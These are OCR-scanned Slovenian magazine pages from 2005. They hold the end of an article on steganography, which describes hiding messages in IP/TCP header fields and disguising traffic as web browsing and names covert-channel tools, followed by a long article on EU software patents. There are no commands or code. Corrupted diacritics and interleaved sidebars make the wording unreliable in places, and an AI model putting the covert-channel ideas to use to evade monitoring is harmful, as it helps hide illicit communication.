resnic¢no poslal narocilo in da to ni naredil nihée
drug v njegovem imenu.

Sifriranje
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I ali sporodilo obstaja ali ne. Osnovna
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metoda je zgolj teoreti¢na in v praksi
redko mo¥na. Imeti moramo izvirno
datoteko in datoteko s skritim spo-
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ro¢ilom. Nato primerjamo dolZ¥ine
datotek ali zaporedje posameznih
bitov. Razlike pokaZejo, ali obstaja
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skrito sporocilo ali ne. Ker pa velja
pravilo, da takoj ko sporotilo skri-

jemo, izvirno datoteko nepovratno
zbriemo (tudi za to obstajajo orod-
ja), je verjetnost tak$nega primera
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enaka nicli.
Ce imamo opravka z slabse skri-
tim sporocilo, je zaznava la%ja. Ce se
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nam zdi, da dolo¢ena slika ali zvok,
ni vedeti ali ne zveni tako, kot bi
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pricakovali, je mo¥no, da vsebuje
skrito sporo&ilo. Nadaljnji koraki so
odvisni od tipa datoteke ali od na-
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V glavi IP-paketka lahko sporocilo skrijemo v polje
IP-indetifikacijska Stevilka (IP identification number).

Skrivanje v zaglavjih paketkov. V ta namen
se lahko uporabljajo nekatera polja v zaglavjih
paketkov, ki bodisi niso v uporabi ali pa nji-
hovo spreminjanje ne vpliva na prenos. V ta
namen se lahko uporabijo paketki protokolov
[P, TCP, UDP ali ICMP — najveckrat prva dva.
Natan¢neje, pri [P-protokolu lahko upora-
bimo polje IP number, pri protokolu TCP pa
polji Sequence number in Acknowledment
number. Tudi za ta nacin obstaja program, in
sicer Covert tcp.

Zakrivanje podatkov. Ta nadin zahteva 3e
najvel znanja. Ideja je zelo banalna. Nepo-
sredno povezavo med sogovornikoma oziroma
paketke podatkov, ki se pretakajo po omreZju,
zakrijemo tako, da se zdijo kot obi¢ajni omre?ni
promet. Ena metoda naredi to tako, da ves pro-
met deluje, kot da bi $lo za brskanje po spletu.
To metodo uporablja program Reverse WWW
Shell. Ima pa eno slabost: ¢e resni¢no brskamo
po internetu, potem v smeri k nam priteka ve-
liko podatkov in zanemarljivo malo v naspro-
tni smeri. Nadzor prometa in smer lahko poraja
sum, 3e zlasti &e se zdi da brskamo, pa posiljamo
vet podatkov, kot jih sprejemamo.

STEGOANALIZA

Vsaka izboljsava metode ali orodja za skri-
vanje sporocil povzroci iskanje nadina njene
zaznave. Stegoanaliza ni tako preprosta, kot
se morda zdi na prvi pogled. Njena naloga je
odkrivanje skritih sporoé&il v razli¢nih me-
dijih, sloni pa na statisti¢nih analizah. Torej,

¢ina skrivanja sporo¢ila. Ce gre za
vrivanje, nas lahko zmoti dol?ina datoteke, ce
gre za zamenjavo, pa statisti¢ne analize pale-
te barv (8 bitno grafika). Ze samo dejstvo, da
nekdo posilja nestisnjeno datoteko s 24- bitno
barvno globino lahko spro%i sume. Te datoteke
so namre¢ prevelike, da bi jih obi¢ajno posi-

Dandanes tehnik Sifriranja in
steganografije ne uporabljajo zgolj
negativci, kot so teroristiCne organizacije,
in drzavni organi, temveC svoje mesto
najdejo tudi v poslovnem svetu.

ljali prek spleta. Omenili smo %e, da je skrita
sporodila v datotekah jpg izredno tezko naijti,
saj je teh datotek v spletu dale¢ najve&. Pri Ze
omenjenem programu J-Steg je mo¢ narediti
statisti¢no analizo razporeditve stiskalnih koe-
ficientov. Pri datotekah brez skritega sporocila
je razporeditev simetri¢na, skrito sporocilo pa
simetrijo pokvari. V praksi je to veliko teZje
izvesti, kot se morda zdi na prvi pogled.
Stegoanaliza je uspe$nej$a za znane algorit-
me stiskanja in metode prenosa skritih sporo-
&il. Veliko teZje pa je, &e gre za nekaj popol-
noma novega. Teoreti¢no lahko z dolo¢enimi
statisti¢nimi analizami z ve&jo ali manjo ver-
jetnostjo zatrdimo, da je nekje skrito sporo&ilo
ali ni. Gre pa za dokaj zapletene analize.
Sodoben svet je tak, da se bo v prihodnjih
letih steganografija hitro razvijala, prav tako
pa tudi metode odkrivanja. Razvoj bo Sel
predvsem v smeri razvoja novih algoritmov,
ki bodo odporne;jsi proti odkrivanju, in bodo

AKTUALNO
steganografija - skrivanje sporocil

z nasega gledisca

PRI NAS SE DA SKRIVATI?

Na policiji so nam zatrdili, da se s to
problematiko $e niso srecali in da tudi ne
sledijo razvoju programskih orodij. Mo?ni
sta dve razlagi: ali na$i kriminalci in drugi
nepridripravi niso izobraZeni s podro&ja in-
formacijskih tehnologij in steganografije ne
uporabljajo, ali pa jo, pa o tem nih&e ni¢ ne
ve. Sami mo¢no dvomimo v slednje. Prepri-
&ani smo, da jo nekateri poznajo in jo tudi s
pridom izkoris¢ajo.

V zadnjem &asu je veliko govora o pre-
precevanju gospodarskega kriminala. Po-
samezniki, vpleteni vanj, pa so izobraZeni,
in ¢e jih doslej $e niso, bodo tehnike skri-
vanja prav gotovo zaceli uporabljati pri za-
krivanju sledi o svojem potetju. Ce hote
policija tudi tem stopiti na prste, bodo
morali steganografiji posvetiti ve¢ pozor-
nosti in davkopladevalskega denarja. Kajti
v nekaterih primerih je %e zgolj sporocanje
med dvema osumljencema lahko dokaz, da
sta pocela nekaj nedovoljenega. V teh pri-
merih samo Sifriranje sporocila ni dovolj.
Ko se bodo tega zavedli tudi »kriminalci«,
bodo za&eli uporabljati steganografijo. Sem
ter tja tudi sli§imo, da je policija kot do-
kazno gradivo zasegla osumljenéev racunal-
nik in v njem iskala dokaze. Kaj pa, ¢e je
osumljeni te skril v kaksno na prvi pogled
nesumljivo datoteko? In e je ta oseba e
osumljena za kiberkriminal? Ce dokazov ne
najdes, ti osumljenéev racunalnik ne po-
maga kaj prida.

Nismo pa vprasali Sove in vojske, kajti
tudi ¢e slednji stagenografijo uporabljajo,
tega ne bi javno priznali. Dopu$¢amo tudi
mo?nost, da na iste karte igra tudi policija.
Torej, na glas povej, da necesa ne poznas,
in upaj, da bodo kriminalci temu tako ali
drugace verjeli ...

lahko skrili ve&jo koli¢ino podatkov. Druga
stran bo napenjala mo?gane v smeri razbijanja
algoritmov in zaznavanja skritih sporodil. Za-
aran krogi, kot smo ga vajeni Ze celo ¢lovesko
zgodovino. Edina razlika med rimskim vojsko-
vodjo in sodobnim svetom je v tehnologiji
—nadela pa so ostali ista. Pa $e nekaj se dogaja.
Steganografije ne bodo uporabljali zgolj nepri-
dipravi in vohunske organizacije, temve¢ bo
svoje mesto nasla tudi v poslovnem svetu.

% «MIKRO
NOVICE

Vet novic tako ali drugace povezanin s slovensko informaci) ko

srenjo lahko najdete na nasi spletni strani!

MOJ MIKRO 1 JANUAR 2005 23




KONKRETNO
patentiranje programske opreme

KDAJ LAHKO PATENT
ZAVRE RAZVNO0J?

Patenti, kakrSne poznamo danes, so se
zaceli razvijati v srednjem veku. Tako
S0 Benetke ob zmanjSevanju svojega
trgovskega vpliva ugotovile, da bi bilo
smotrno gospodarstvo spodbujati tudi
tako, da bi privabile izumitelje ...

PiSe: Andraz Tori

ato so jim zagotovili zatasno ekskluzivno

pravico izdelovanja svojih inovativnih na-

prav. Prvi zakon o sodobnih patentih tako

datira v leto 1474, kmalu pa so podoben
prijem zaCeli uporabljati tudi v Angliji (1624) in
drugod.

Zanimivo je, da patentno varstvo ne izvira iz
kake neodtujljive posameznikove pravice do last-
nistva ideje, temvec ima korenine v koristi druzbe
kot celote.

Obstaja kar nekaj ekonomskih teorij o tem,
kako patentni sistem pravzaprav deluje, a ta &lanek
je prekratek, da bi se vanje podrobneje poglabljali.

Navedimo le dva precej prepri¢ljiva namena, ki
jih Zeli patentna zai¢ita dosedi.

Prvi je spodbujanje inovativnosti z nagrajeva-
njem in s tem povedevanje udinkovitosti gospo-
darstva. Drugi pa je spodbujanje razirjanja zna-
nja. Patentna prijava je namrec¢ vse od odobritve
povsem javna in v njeno vsebino ima vpogled
vsakdo. Tako se lahko drugi inovatorji napajajo iz
dobro dokumentiranih preteklih inovacij (vsaj v
teoriji naj bi bilo tako).

PROGRAMSKI PATENTI

Problem s programskimi patenti se zalne %e kar
pri pojmu samem. Ni namreé enotne definicije,
kaj ta besedna zveza pomeni, kar lahko s pridom
izkoristi kak demagog na tej ali oni strani debate.

Ker je programski patent tezko nedvoumno de-
finirati in razli¢nim ljudem pomeni razli¢ne stva-
1i, za potrebe tega Elanka uporabimo definicijo, ki
jo ponuja Prosti spletni slovar ra¢unalnistva: »Pa-
tent, ki omogoca preprecitev uporabe dolodene
programske tehnike drugim«. Seveda to ni nika-
kr¥na pravna definicija, temvet le pripomocek, ki
nam bo omogo&al malce jasneje razmisljati o pro-
gramskih patentih. V zgornjo definicijo bi tako
padel algoritem refevanja problema trgovskega
potnika v polinomskem &asu (znameniti ra¢unal-
niski problem, za katerega $e vedno ni jasno, ali
je resljiv) ali pa program za spletno storitev, kjer
nam izdelajo glasbeni CD po meri.

Oglejmo si, kak$ne so specifi¢ne lastnosti pro-
izvodnje programja, ki jo locujejo od drugih ino-
vacijskih podrocij. Program je navadno precej
obse?no avtorsko delo enega ali ve¢ avtorjev (ne
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le programerjev). Ker program tee v virtualnem,
»idealnem« svetu, programerjem ni treba misli-
ti na neskon&no Stevilo fizikalnih zakonov, ki se
morajo ujeti, da bi njihov izdelek deloval. Med
sestavljanjem razlicnih delov programa jim ni
treba razmisljati o uporu %ic, odbojih, obrabi ipd.,
s &imer morajo racunati njihovi kolegi iz drugih
inzenirskih strok. Ker je sestavljanje iz malih de-
lov enostavno, to pomeni, da je v enakem &asu
mo¢ narediti veliko obseZnejsi izdelek. Programi
vsebujejo na tisoce refitev malih trivialnih pro-
blemov, ki se prepletajo z reSitvami netrivialnih
problemov in tako (e imamo srefo) opravljajo
uporabniku koristno dejavnost.

Skratka, ker je interakcija med deli izdelka
enostavnejsa kot v drugih in¥enirskih strokah, so
programski izdelki sestavljeni iz nekaj velikost-
nih razredov vedjega stevila »podizdelkov«, ki bi
jih bilo mogo&e patentirati. Ravno veliko $tevi-
lo problemov, ki so reSeni znotraj enega samega
progama, pa povzrodi, da je treba za ugotovitev,
ali program kr3i katerega od obstojecih patentov,
porabiti razmeroma veliko &asa in s tem denarja.
Ta se namesto za razvoj in inZenirsko delo porabi
za pravne sluzbe. Navadno zapletene tehnologke
naprave razvijajo mocna podjetja, ki jim pravni
vidiki razvoja ne pomenijo velikih strogkov. Vpra-
Sanje pa je, ali je enako s programi. Programiranje
je zaenkrat Se vedno posel, ki se ga lahko komer-
cialno lotijo tudi majhne skupine (inZenirjev), ki
jim pravni stroski preverjanja njihovega izdelka
lahko pomenijo nesorazmeren dele? razvojne in-
vesticije (preverjanje vsake posamezne (pod)re-
Sitve stane nekaj tiso€ evrov).

PATENTIRANJE »TOPLE VODE-

Seveda pa se ta dele? $e poveca, e se izkaze, da
je neki banalen postopek patentiran (npr. prodaja
prek mobilnega telefona) in je ga treba licencirati
za uporabo. Veliko kritikov programskih paten-
tov se opira ravno na ta vidik, ki naj bi pripeljal
mala in srednje velika podjetja v nezavidljiv pol-
o7aj hoje po minskem polju patentov in jim ote?-
ko&al vstop na trg.

V ZDA zakonodaja omogoca programske pa-
tente (in sploh patentiranje vsakr$nih idej, tudi
poslovnih metod). V Evropski uniji pa ta zaenkrat
ni enotna. Evropski patentni urad od uveljavitve
evropske patentne konvencije leta 1978 uporab-
lja vse bolj raztegnjeno razlago &lena 52, ki naj bi
zagotavljal patentiranje resni¢nih inovacij.

Izkusnje kaZejo, da je mo¢ »inventivni korak«
patenta ob spretni prijavi zaobiti in tako patenti-
rati tudi samoumevne programske resitve. Ev-
ropski patentni urad je zaradi tega doZivel veliko
kritik, saj naj bi bil sistem naravnan tako, da je
njegovim uslufbencem izjemno neprakti¢no do-
koné&no zavrniti patent, ki ga Zeli pridobiti vztraj-
no in pravno podkovano podjetje.

V ZRELU PATENTNIH TOZB

Ceprav bi bilo dologen patent na sodis¢u moz-
no spodbijati, pa je e sama koli¢ina patentnih
tozb, ki bi jih lahko naperilo veliko uveljavljeno
podjetje proti drugemu, ki na dolo¢en trg 3ele
vstopa, mocan razlog, da se preprosto ne splaca
pravdati, saj bi bile lahko %e posledice izgube ene
same tozbe velikanske.

Tudi &e si malo podjetje lasti programski patent
(tipi¢na cena za pridobitev evropskega patenta
je nekaj deset tiso¢ evrov), ki ga krii vedje pod-
jetje, je velika verjetnost, da bo to ve&je podjet-
je v programskih izdelkih malega podjetja naslo
veliko spornih programskih tehnologij, ki jih bo
izkoristilo za protitozbe. Tako so lahko mala pod-
jetja v sporih glede programskih patentov uspesna
predvsem takrat, kadar nimajo lastnega izdelka.
Gre za pravne hige, ki kupujejo patente le zato, da
bi lahko z njimi izsilile licenénine, hkrati pa ne
opravljajo nadaljnjega razvoja.

Prav tako izku$nje kaZejo, da se programske
patente izrablja predvsem v strateske namene
oviranja konkurence in ne v ustvarjanje trga
tehni¢nih inovacij, ki bi sicer bil zaZelen ucinek
patentnega sistema, saj bi poveteval konkurene-
nost. Velike programske hige svoje patente med-
sebojno krizno licencirajo (cross licensing) in se
s tem zas¢itijo pred tozbami, patente pa izrabljajo
proti manj$im tekmecem. Navadno tozbe niti
niso potrebne, zadostujejo %e groznje. Tak primer
se je zgodil v 80. letih takrat majhnemu podjetju
Sun Microsystems, ko je IBM-u le z grofnjami
uspelo od njega izsiliti denar.

Vendar pa groZnje programskih patentov ne
prepoznavajo le prosti programerji, temveé tudi
druge osebnosti iz sveta programske opreme. Leta
1991 Bill Gates v internem sporocilu usluzben-
cem o programskih patentih zapisal: »Ce bi ljudje
razumeli, kako so bili patenti podeljevani, ko je
bila izumljena veéina danasnjih idej, in bi izlo-
&ili te patente, bi bila industrija danes povsem
ohromljena.«



In je nadalje iskal natin, kako naj se Microsoft
izogne patentnim tozbam: »ReSitev je izmenjava
patentov z velikimi podjetji in patentiranje v to-
lik$ni meri, kot le moremo. «

Pred nekaj leti se je proti patentni zai¢iti pro-
gramja opredelil tudi Oracle in povedal, da je nji-
hov portfelj patentov le nujno zlo, da se zasitijo
pred mo?nimi groznjami. Oracle je od tedaj izjavo
umaknil, Microsoft pa se za patentno zas¢ito pro-
gramja zavzema vse bolj, saj ga vidi kot klju¢no
orozje proti konkurenci prostega programja.

PATENT NA KLIK

Verjetno dale¢ najodmevnejsi programski pa-
tent v stroki je »Nakup z enim klikom« (ZDA,
Stevilka patenta 5,960,411 1]), ki ga je spletna
knjigarna Amazon vlozila leta 1997. Za zaplete-
nim pravniskim jezikom se skriva preprosta upo-
raba brskalnega piskotka, ki strezniku omogo¢i
vnaprej$njo seznanitev z vsemi podatki o kupcu in
zato lahko ta pozneje z enim samim klikom kupi iz-
delek. Vsak spletni programer bi idejo komentiral
kot nekaj samoumevnega, a patentni urad ZDA
je idejo sprejel kot »patentabilno«. Po odobritvi
patenta je leta 1999 Amazon vloZil tozbo proti
konkurenéni spletni knjigarni Barnesandnoble.
com (knjigarniskega velikana Barnes and Noble).
Tozba je navrgla val protestov in bojkotov knji-
garne Amazon, predvsem pa je pokazala na neka-
tere probleme koncepta programskih patentov.

Drugi odmevni spor glede programskih pa-
tentov je lanskoletna tozba podjetja Eolas proti
Microsoftu zaradi uporabe tehnologije vti¢nikov
v spletnem brskalniku. Zanimivo je, da je to ena
redkih bitk, v kateri na isti strani stojijo tako
Microsoft kot vedina programerjev prostih pro-
gramov.

Microsoft je sicer nasel predhodno tehnologi-
jo v obliki brskalnika ViolaWWW , ki bi patent
lahko naredila neveljaven, vendar je to prepozno
posredoval sodis¢u. Bolj kot to, ali bo moral Mic-
rosoft placati Eolasu dobre pol milijarde ameri-
$kih dolarjev, pa bo izid spora pomemben za druge
lastnike dvomljivih programskih patentov. Ti bi
se lahko nad idejo donosnih tozb vsepovprek hi-
tro navdusili.

NEVARNOSTI MONOPOLOV NA VSAKEM
KORAKU

Druge programske tehnologije, ki so ponekod
patentno zaslitene, so format zapisa ASF, posto-
pek stiskanja zvoka v datoteke MP3, elektronski
nakupovalni vozi¢ek in podobne bolj ali manj
inventivne tehnologije. Kaj to¢no so programski
patenti, je najenostavneje povedati za podrogje
spletnega programiranja, saj se s tem ukvarja
precej tako amaterskih kot profesionalnih pro-
gramerjev. Ena od organizacij, ki se bojuje proti
programskim patentom, je sestavila seznam dvaj-
setih, ki jih je podelil evropski patentni urad, a
so za velino programerjev trivialni. [lustrirane jih
lahko najdete na strani http://webshop.ffii.org.

Programski patenti pa imajo $e¢ eno moznost
uporabe. Ce lahko podjetje patentira algoritem,
ki je nujno potreben za branje ali pisanje v do-
lo¢en datote¢ni format, potem to pomeni, da si
je pridobilo legalen monopol do branja ali pisa-
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Velike programske
hiSe svoje patente
medsebojno krizno
licencirajo inses
tem zaScitijo pred
tozbami, patente
pa izrabljajo

proti manjsim
tekmecem.

nja teh vrst datotek. S tem lahko stari igralci na
trgu popolnoma zaprejo pot novim konkurentom.
Predstavljajte si, da bi Microsoft pred leti tako
posredno patentiral zapis datotek .doc. Potem no-
beno podjetje ne bi moglo oziroma smelo izdelati
pisarniSkega paketa, ki bi bil zdruzljiv z Microsof-
tovim Officeom. Seveda bi bil vsak pisarniski pa-
ket, ki ne bi znal vsaj brati datotek .doc, obsojen
na propad.

No, k sre¢i Microsoft taksnih taktik ni upo-
rabil, zato lahko danes brez pravne negotovosti
poganjamo pisarniski paket OpenOffice in podo-
bne. So jih pa uporabili drugi. Pred ¢asom glajene
pisave TrueType v sistemu Linux niso bile videti
enako kot drugod. Za izrisovanje teh pisav na za-
slon je skrbela knjiZnjica FreeType. A pravniki
podjetja Apple so programerjem paketa Free Type
poslali opozorilo, da si Apple lasti ve¢ patentov
nad interpretacijo namigov za lepSe izrisovanje
pisav TrueType. Programerji so ustrezno program-
sko kodo umaknili iz uradnih razli¢ic knjiznice

KONKRETNO
patentiranje programske opreme

in nekaj let je trajalo, preden jim je
uspelo izpiliti alternativni algoritem,
ki pisave kolikor toliko dobro gladi
brez uporabe namigov.

Enak vpliv imajo programski pa-
tenti tudi na komunikacijske pro-
tokole. Ce nekomu uspe v protokol
vplesti svoj patent, bodo morali vsi
proizvajalci strojne in programske
opreme, ki ta protokol uporabljajo,
pridobiti licenco za uporabo paten-
ta. Zato nekatera telesa, ki skrbijo za
standardizacijo protokolov v interne-
tu, ne dovoljujejo vanje vklju¢evanja
patentiranih tehnologij ali pa to do-

voljujejo le pod posebnimi pogoji.
Najbolj znan primer v zadnjem &asu
je Microsoft, ki je ob nastajanju pro-
tokola za prepredevanje neZelene poste
predlagal vkljugitev svoje tehnologije
Sender ID. Ker nad tehnologijo drZi
oziroma poskusa pridobiti patente in jih
ni pripravljen predati v prosto rabo, je
telo za standardizacijo IETF (Internet

Engineering Task Force) njegov pred-

log zaenkrat zavrnilo. Jasno je le, da
bomo v primeru, da kompromisa ne

bo, imeli v boju proti neZeleni posti na voljo eno
orozje manj.

»Podmorniski« patenti

Se bolj pa so lahko nevarni tako imeno-
vani podmorniski patenti. To so patenti,
ki jih podjetja, sicer niso sodelovala pri
pripravi nekega protokola ali zapisa poda-
tkov, za¢nejo uveljavljati Sele po njegovem
splosnem sprejetju in prehodu v uporabo.
Tak3en primer v zgodovini je bil zapis slik
GIFE, trenutno pa se podobna usoda obeta

standardu JPEG.

In &e je treba programske patente s strani zako-
nodaje obravnavati previdneje, kaj je sploh mo-
goce storiti!? V ZDA ne prav veliko, v Evropi pa
je polozaj glede tega $e nejasen, jasno je le, da se
bo moral izkristalizirati v bliznji prihodnosti. Ker
smo od prvega maja tudi mi del Evropske unije
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bo odlotitev, sprejeta
v Bruslju, vplivala tudi
na nafa podjetja, sa-
mostojne razvijalce in
nazadnje na vse upo-
rabnike informacijskih
resitev.

Iy
Ve vy

Kot smo %e povedali, so patentni sistemi med
drfavami sicer podobni, a se v marsikateri podro-
bnosti tudi razlikujejo. Eno od podrocij precejs-
njih razlik je moZnost patentiranja programskih
in poslovnih metod, ki jih ZDA dopus¢ajo, vec-
ina evropskih drfav pa ne. Vendar so razlike tudi
med evropskimi drfavami, zato se je pojavila po-
treba po poenotenju oziroma strokovno receno
harmonizaciji zakonodaj. Skupni trg pa¢ zahteva
enotna pravila.

Tako zagovorniki kot nasprotniki mo?nosti pa-
tentiranja programskih metod se strinjajo, da je
direktiva nujno potrebna. Poleg patentnih ura-
dov posameznih dr7av je tu e Evropski patenti
urad, ki uporablja precej raztegnjeno tolmacenje
patentne konvencije.

Evropski patentni urad naj bi tako po nekaterih
podatkih podelil Ze ¢ez 30.000 patentov, ki bi jih
lahko imenovali programski patenti. Protagoni-
sti programskih patentov ¥elijo obstojeée z novo
direktivo potrditi, hkrati pa omogo¢iti nastanek
novih, medtem ko Zelijo nasprotniki prepre&iti
uveljavljanje teh patentov in podeljevanje podo-
bnih, ali pa vsaj mo&no dvigniti raven potrebne
inovacije za pridobitev novih in postaviti druge
omejitve.

PoloZaj je mogo&e urediti z evropsko direkti-
vo. To mora nato vsaka posamezna dr?ava &lanica
vpeljati v lastno zakonodajo. Ceprav Evropski
patentni urad ni neposredno vezan na direktive,
pa bi njena vsebina prej ali slej presla tudi v Ev-
ropsko patentno konvencijo in tako bi dobili na
vseh ravneh enoten patentni sistem.

VpraSanje je le, kak¥no direktivo sprejeti. Spre-
jem direktive poteka po nadelu soodlo¢anja med
Evropskim parlamentom, Svetom evropske unije
in Evropsko komisijo. Ker je proces odlo¢anja za-
pleten, marsikomu ni povsem jasno, kaj se z direk-
tivo dogaja. Ceprav se je na podro&ju programskih
patentov veliko zgodilo %e pred predlogom nove
direktive, bom tu poskusal okvirno opisati le nje-
no kratko, a burno Zivljenjsko zgodbo, seveda pre-
cej poenostavljeno.

Direktivo »o patentabilnosti racunalnisko iz-
vedenih izumov« je 20. februarja 2002 predlagala
Evropska komisija. Ze kmalu po njeni objavi je
Fundacija za prosto informacijsko infrastruktu-
ro (FFII) ugotovila, da se deklarirani namen di-
rektive in njena vsebina ne ujemata. Zagovorniki
so v javnosti trdili, da kon&ni izid ne bo enaka pa-
tentna norija kot v ZDA, vendar je FFII ugotovil,
da bo direktiva povzrodila natanéno enako stanje
- neomejeno »patentabilnost«.
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Za&ne se vojna lobijev. Na eni strani stojijo ve-
like multinacionalke (predvsem njihovi pravniki),
patentni uradi (predvsem evropski in VB) in pri-
tisk ZDA, na drugi strani srednja in mala podjetja
(SME), prosti programer;ji, veliko akademikov in
velina preostale zainteresirane javnost.

FFll-ju kljub sicer$nji politi¢ni neizkuSenosti
svojega interesnega kroga, skupaj s sorodnimi orga-
nizacijami uspe organizirati presenetljivo uspesno
politi¢no kampanjo. Posegajo se vseh mogocih
poti pritiska, da bi na eni strani opozorili &im irSo
javnost in na drugi mirno prepri¢ali politike, naj
spremenijo direktivo.

Nastejmo nekaj odmevnejsih in zanimivejsih
prijemov. Uspe jim zbrati ¢ez 300.000 podpisov
spletne peticije proti programskim patentom, ki
jo sponzorira ve& kot 200 podjetij in organizacij,
njihov »poziv k akeiji« podpise kar nekaj ¢lanov
evropskega in drugih parlamentov, s svojimi pred-
stavniki v Bruslju lobirajo neposredno pri evrop-
skih parlamentarcih, organizirajo pouli¢ne de-
monstracije v Bruslju, kjer se zbere okoli 500 ljudi
(kar je za apoliti¢no racunalnisko kulturo dotlej
nepredstavljiva Stevilka), hkrati pa delujejo tudi
na lokalni ravni, kjer s podro¢nimi ali sodelujoci-
mi organizacijami poskusajo problem programskih
patentov predstaviti v specifi¢nih okoljih.

Bitka je na obeh straneh umazana, FFII na svo-
jih spletnih straneh dobesedno raztrga in prezvedi
vsak izreCeni stavek podpornikov programskih
patentov, na drugi strani pa se zacno protagonisti
zavedati, da se bodo morali za svoj cilj bolj po-
truditi, a se navadno raje obracajo neposredno na
politiko, zato je vetina njihovega lobiranja precej
skrita. Vezi so ocitno tesne. Posredni indici (za-
pisi v datoteki .doc) kaZejo, da naj bi bil Francisco
Mingorance, lobist organizacije BSA (kjer pre-
vladujejo programska podjetja iz ZDA), eden od
piscev izvornega predloga direktive oziroma ga je
imel in spreminjal v svojem ra¢unalniku, preden
je postal javen.

24. septembra 2003 Evropski parlament na
plenarnem zasedanju v prvem branju sprejme
direktivo, a jo izdatno dopolni z amandmaji. In
sicer do te mere, da ji popolnoma obrne pomen
in programski patenti so v novem predlogu jasno
omejeni in zamejeni.

A nato je bil na vrsti Svet Evropske unije, ki
bi moral upostevati pripombe parlamenta in pri-
praviti nov usklajen predlog. Vse lobiranje se za-
&ne znova, a tokrat zmaga patentni lobi, ki ima
vet zaveznikov v izvr¥nih vejah oblasti. Svet na
razli¢ne nacine zavrze prakti¢no vse vsebinske pri-
pombe parlamenta in upo3teva nekaj nebistvenih.
Tako amandma, ki pravi, da lastnik patenta z njim
ne bi mogel preprecevati skupne uporabnosti oz.
interoperabilnosti (na primer odpiranje datotek
doloene vrste), zavrze zaradi neskladnosti s spo-
razumom svetovne trgovinske organizacije o inte-
lektualni lastnini (TRIPS). Nem¢&ija nato v Svetu
predlaga amandma, ki bi omejil mo#nost patenti-
ranja programja, in ker je bil v tem trenutku to
najboljsi predlog, ga podprejo Se nekatere druge
drzave, vklju¢no s Slovenijo. A Nem¢ija tik pred
zdajci pristane na to, da celoten odstavek zamenja
z eno samo besedo, s tem pa za sabo potegne tudi

druge dr?ave, ki so podpirale izvorni amandma.
Po mnenju protipatentnega lobija tako nastane
najradikalne;jsi predlog direktive doslej. Vrata za
neomejeno patentiranje so odprta.

A, ker je 3lo le za nekak3no predglasovanje, se
dogajanje v Svetu Se ne kon¢a. Kmalu zatem ni-
zozemski parlament sprejme navodilo ministru za
gospodarstvo, da mora svoj glas z »za« spremeniti
v »vzdrian«. Zanimivo je, da gre sploh za prvi tak
primer v Evropski uniji. Zaenkrat Se ni jasno, ali
bo navodilo tudi dejansko upostevano.

S prvim novembrom je v Svetu zalela veljati
nova obteZitev glasov posameznih drzav. Poljska
dobi vegjo tezo in se 17. novembra letos odlo&i
umakniti svojo podporo direktivi. To pa pomeni,
da ni veé veéinske podpore in direktivo je treba
znova uskladiti znotraj Sveta.

Zanimivo je, da je Poljska problem vzela resno,
organizirala posvet na drzavni ravni in se Sele po
njem odlotila. Posvetovali so se s svojim patent-
nim uradom, s pravniki velikih programskih hi¥
in z ostalo zainteresirano javnostjo. Prisli so tudi
do konsenza, da trenutni predlog direktive ne-
dvomno pomeni, da bo mo?no vse programje pa-

tentirati. Trdijo, da so pripravljeni podpreti jasne
omejitve pri programskih patentih, vendar da tega
v trenutni direktivi ni.

Drug pomemben dogodek je objava studije
hise PriceWaterhouseCoopers, ki jo je naro&ilo
nizozemsko predsedstvo EU. Ta je poskusala pre-
uditi, kaj narediti glede evropske informacijske in
telekomunikacijske industrije glede uresni¢evanja
lizbonske strategije — do leta 2010 postati naj-
bolj dinami¢no in konkuren¢no gospodarstvo na
svetu. Studija na 52 strani ugotavlja, da bi lahko
programski patenti, ki §&itijo tudi izume netehnic-
ne narave, zatrli visoko stopnjo inovativnosti.
Poudarja, da se velika podjetja sicer zavzemajo za
programske patente, in da so mala podjetja pro-
ti, vendar pa so le redka dejansko pripravljena na
mo?ne posledice direktive.

Preden pa preidemo na dogajanje v Sloveniji,
si na hitro poglejmo e nadaljnjo usodo direktive.
Verjetno bo Svetu vendarle uspelo sprejeti uskla-
jen predlog in ta bo $el v drugo branje v Evropski
parlament. Ce ta v treh mesecih (z mo#nostjo po-
daljsanja) ne sprejme odlotitve, se direktiva uve-
ljavi. Parlament lahko usklajen predlog zavrne in
tako konca postopek soodlo¢anja, ali pa ga zopet
dopolni z amandmaji, vendar oboje le z absolutno
vecino. V slednjem primeru gre direktiva Se v do-
daten postopek usklajevanja med parlamentom in
Svetom, in &e je to uspesno, Se v tretje parlamen-
tarno branje. Zapleteno, skratka.

Na koncu se seveda vpragamo, kaj pa mi? Smo
&lanica Evropske unije in imamo pravico do gla-



lkn; kl

sovanja v Svetu, svoje poslance v Parlamentu in
komisarja, ki pokriva podrogje, ki se e kako doti-
ka patentov, na drugi strani pa bo direktiva za nas
obvezujoca in bo vplivala tudi na nasa podjetja in
na nas kot posameznike.

Pri¢akovali bi, da se bodo prva zganila tista slo-
venska podjetja, ki so sama proizvajalci programja
in se glede direktive opredelila tako ali drugace,
saj imajo zagotovo najved neposrednega poslovne-
ga interesa. A prva se je zganila skupnost prostih
programerjev z drustvom uporabnikov Linuxa na
&elu. Z javnim pismom so se obrnili na ve¢ odgo-
vornih ustanov, med drugim na Urad za intelektu-
alno lastnino, ministrstvo za informacijsko druzbo,
ministrstvo za gospodarstvo in na podjetja.

Neposredno se je odzval le MID, ki je Sele tedaj
ugotovil, da ni bil vklju¢en v dotedanje oblikova-
nje uradnega slovenskega stalis¢a do direktive. To
je bilo v rokah ministrstva za gospodarstvo oziroma
najbolj Urada za intelektualno lastnino. Slednji
pa vsaj takrat ni imel ravno bles¢e¢ih odlik iz ko-
municiranja z javnostjo in javnim oblikovanjem
stali¥¢, zavzel je pa¢ enako mnenje kot Evropski
patentni urad — da bo direktiva koristna zaradi
harmonizacije in da se patentiranje programja z
njo omejuje.

Izkazalo se je, da nobena ustanova oblasti ni na-
redila niti javnega posveta, kaj Sele studije o tem,
kako bi tak¥na ali druga¢na konéna oblika direk-
tive lahko vplivala na gospodarstvo, predvsem pa
seveda na sektor proizvajalcev programja.

No, ministrstvo za informacijsko druzbo je ta-
krat, pod pritiskom javnosti in medijev, vendarle
nekoliko popravilo uradno stalis¢e Slovenije. Ta
je ujela 3e zadnji vlak in podprla Ze obstojece pred-
loge za izboljsavo direktive znotraj Ministrskega
sveta. Vendar kot smo Ze povedali, je Nem&ija dr-
%ave, ki so podpirale njen predlog, izigrala s spre-
membo svojega amandmaja v zadnjem trenutku.

A vrnimo se v Slovenijo. Urad za Intelektu-
alno lastnino je pred kratkim dobil novo direk-
torico in kaZe, da se bo bolj odprl javnosti. Tako
je 3. novembra na spletnih straneh objavil prvo
Stevilko svojih novic, v katerih komentira tudi di-
rektivo in v svoji razlagi pravi, da ta ne bo omogo-
